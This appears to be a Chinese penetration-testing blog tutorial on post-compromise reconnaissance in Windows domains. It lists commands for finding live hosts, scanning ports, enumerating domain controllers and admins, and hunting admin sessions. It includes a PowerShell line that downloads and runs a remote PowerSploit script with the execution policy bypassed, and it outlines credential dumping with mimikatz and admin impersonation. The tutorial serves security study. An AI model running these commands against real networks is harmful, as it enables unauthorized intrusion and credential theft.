内网渗透信息收集方法第二篇文章
1. 查询权限
查询当前权限
1 | whoami |
查询结果分别有以下三种:
- 本地普通用户
- 本地管理员用户
- 域内用户
获取域SID
1 | whoami /all |
查询用户详细信息
1 | net user name /domain |
2. 判断是否存在域
ipconfig判断
首先通过ipconfig获取域名,然后nslookup来反向查询并观察是否一致
1 | ipconfig /all |
查看系统详细信息
执行以下命令,查看域
1 | systeminfo |
查询当前登录域及用户信息
1 | net config workstation |
判断主域
1 | net time /domain |
3. 域内存活主机探测
NetBIOS探测内网主机
借助nbtscan来进行netbios存活内网主机探测
1 | nbt.exe net_address(C段) |
- share:正在运行共享服务
- DC:可能是域控
ICMP探测内网主机
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 192.168.1.%I | findstr "TTL=" |
ARP探测内网
arp-scna工具
1 | arp.exe -t net_address(C段) |
Empire的arpscan
1 | usemodule situational_awareness/network/arpscan |
Nishang的Invoke—ARPScan.ps1
1 | powershell.exe -exec bypass -Command "& {Import-Module Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR net_address}" >> out.txt |
常规TCP/UDP端口扫描工具
若某台主机的端口开放,则这台主机一定存活,可以借助端口扫描工具比如ScanLine来探测主机是否存活
1 | scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,5432 -u 53,161,137,139 -O out.txt -p address_range /b |
4. 扫描域内端口
端口对应服务,我们只有在更全面的探测到机器的服务之后,才能更有针对性的去进行攻击。
telnet 探测端口
1 | telnet host port |
msf扫描端口
1 | use auxiliary/scanner/portscan/tcp |
PowerSploit扫描端口
1 | powershell.exe -nop -exec bypass -c "(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts net_address -T 4 -ports '445,1433,3389,80' -oA out.txt" |
Nishang扫描端口
1 | Invoke-PortScan -StartAddress start_host -EndAddress end_host -ResolveHost |
banner信息收集
对收集到的端口做banner信息收集,并查找相应的cve的poc或exp,进而更有针对性的进行攻击
端口及对应服务
详情见端口及常见服务文章
5. 收集域内基础信息
查询域
1 | net view /domain |
查询域内计算机
1 | net view /domain:domain_name |
查询域内所有用户组列表
1 | net group /domain |
- Domain Admins:域管理员
- Domain Computer:域内机器
- Domain Controllers:域控制器
- Domain Guest:域访客
- Enterprise Admins:企业系统管理员用户
查询域内所有域成员计算机列表
1 | net group "domain computers" /domain |
获取域密码信息
1 | net accounts /domain |
获取域信息信息
1 | nltest /domain_trusts |
6. 查找域控制器
查看域控制器的机器名
1 | nltest /DCLIST:domain_name |
1 | netdom query pdc |
查看域控制器的主机名
1 | nslookup -type=SRV _ldap._tcp |
查看当前时间
1 | net time /domain |
查看域控制器组
1 | net group "Domain Controllers" /domain |
7. 获取域内的用户和管理员信息
查询所有域用户列表
向域控查询
1 | net user /domain |
查询域内用户的详细信息
1 | wmic useraccount get /all |
查看存在的用户
1 | dsquery user |
查询本地管理员组用户
1 | net localgroup administrators |
查询域管理员用户组
查询域管理员用户
1 | net group "domain admins" /domain |
查询管理员用户组
1 | net group "Enterprise Admins" /domain |
8. 定位域管理员
- 日志+会话进行定位
- psloggedon.exe
- PVEFindADUser.exe
- netview.exe
- Nmap的NSE脚本
- PowerView脚本
- Empire的user_hunt模块
9. 查找域管理进程
提权思路
- 收集明文凭据或者通过mimikatz抓取明文密码
- 在跳板机之间跳转,直到获得域管理员权限
本机检查
获取域管理员列表列出本机的所有进程及进程用户1
net group "Domain Admins" /domain
1
tasklist /v
查询域控制器的域用户会话
查询域控列表
1 | net group "Domain Controllers" /domain |
收集域管理员列表
1 | net group "Domain Admins" /domain |
收集所有活动域的会话列表
1 | netSess -h |
交叉引用域管理员列表与活动会话列表
1 | FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>null >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a |
查询远程系统中运行的任务
首先将目标域系统添列表加到ips.txt,域管理员列表添加到ips.txt
1 | FOR /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>null >output.txt && FOR /F %n in (names.txt) DO @type output.txt | @findstr %n > NUL && echo [!] %n was found running a process on %i && pause |
扫描远程系统的NetBIOS信息
1 | FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>null >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | @findstr /I %n > NUL && echo [!] %n was found logged into %i |
10. 域管理员模拟
使用Incognito来模拟域管理员或者添加域管理员,思路在接下来的文章中介绍
11. 利用powershell收集域内信息
Powerview是集成了powershell和WMI对内网渗透的测试脚本,集成于powersploit中
1 | Import-Module PowerView.ps1 |
- Get—NetDomain:获取当前用户所在域的名称
- Get-NetUser:获取所有用户的详细信息
- Get-NetDomainController:获取所有域控制器的信息
- Get-NetComputer:获取域内所有机器的详细信息
- Get-NetOU:获取域中的OU信息
- Get-NetGroup:获取所有域内组和组成员的信息
- Get-NetFileServer:获取当前域使用的文件服务器信息
- Get-NetShare:获取当前域内的网络共享信息
- Get-NetSession:获取指定服务器的会话
- Get-NetRDPSession:获取指定服务器的远程连接
- Get-NetProcess:获取远程主机的进程
- Get-UserEvent:获取指定用户的日志
- Get-ADObject:获取活动目录的对象
- Get-NetGPO:获取域内所有的组策略信息
- Get-DomainPolicy:获取域默认控制策略或域控制器策略
- Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限
- Invoke-ProcessHunter:通过查询域内的机器进程找到特定用户
- Invoke-UserEventHunter:根据用户日志查询某域用户登陆过哪些域机器
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/08/26/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-%E4%BA%8C/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/08/26/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-%E4%BA%8C/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!